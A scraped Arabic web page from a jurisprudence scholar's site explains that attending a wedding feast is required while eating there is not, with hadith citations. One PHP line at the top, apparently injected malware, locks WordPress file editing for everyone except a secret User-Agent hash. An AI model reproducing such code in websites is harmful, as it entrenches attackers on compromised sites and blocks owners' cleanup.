if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } هل يجب الأكل من الوليمة - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

هل يجب الأكل من الوليمة

قال رحمه الله: (وَإِذَا حَضَرَ وَلَيْمَةَ العُرْسِ لَمْ يَكُنْ عَلَيْهِ الأَكْلُ، بَلْ إِنْ أَكَلَ وَإِلَّا دَعَا وَانْصَرَفَ) هذا دلت عليه السنة، إذ ليس من لازم الحضور أن يأكل لكن قد يكون الأكل مستحبًا إذا كان يدخل السرور على الداعي وقد تكلف، وقد يكون الأكل وعدمه سيان فيما إذا كان ثمة من يأكل ولا يشعر الداعي بمن أكل أو لم يأكل، وقد يكون المدعو إما صائمًا إذا كانت الدعوة في النهار وإما قد أكل قبل أن يقدم وإما لا يناسبه الأكل، كأن يكون مريضًا بالسكر أو مريضًا بالضغط وغيره فأكله خاص، فحينئذٍ الأمر واسعٌ لكن ينبغي أن يُجيب، في حديث جابر رضي الله عنه أن النبي صلى الله عليه وسلم قال: «إذا دُعِيَ أحدكُم إلى طعامٍ فليجبْ فإن شاءَ طعمَ وإن شاءَ تركَ»[1] إذن الأكل ليس بواجب وإنما الواجب كما تقدم الحضور، لكن لو ترتب على عدم الأكل مفسدة ككسر قلب الداعي وكبقاء الطعام بدون أكل كأن يكثر المعتذرون ممن لم يأتون أو أتوا واعتذروا عن الأكل، فإنه حينئذٍ يتأكد الأكل وقد قال صلى الله عليه وسلم: «دَعاكُم أخوكُم وتكلَّفَ»[2] ولما في ذلك من إضاعة المال لا سيما إذا كانت الدعوة محفوفة واعدادها قليلة وقد امتنع أو اعتذر بعضهم فلم يحضر ولم يرسل اعتذار وتكلف صاحب الدعوة، فإنه ينبغي للمسلم أن يجبر خاطر أخيه وأن يدخل السرور عليه وأن يطعم حتى لو كان صائمًا صيام تطوع وأجره على الله يفطر ويطعم ويحصل الأجر بنيته، أما إذا كان أكله وعدمه سواء فإنه لا حرج عليه حينئذٍ، قال صلى الله عليه وسلم: «إذا دُعِيَ أحدُكُم فليُجِب فإن كانَ مُفطرًا فليَطعَمْ وإن كانَ صائمًا فليُصَلِّ»[3] قالوا: أي فليدع، وفهم ذلك ابن عقيل رحمه الله وذكره ولم يذكر سواه؛ فإنه رحمه الله بيّن أنه إذا دُعي أجاب وأكل وإلا دعى، لكن الحديث جاء عند مسلم بالصلاة على حقيقتها، ولهذا نقول: له أن يصلي الصلاة الشرعية المعروفة وله أن يدعو، والدعاء هنا مناسبٌ بأن يدعو له بالبركة.

ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

[1] أخرجه مسلم (1430).

[2] أخرجه وحسنه الألباني في إرواء الغليل (1952).

[3] أخرجه مسلم (1431) باختلاف يسير، وأبو داود (2460) واللفظ له.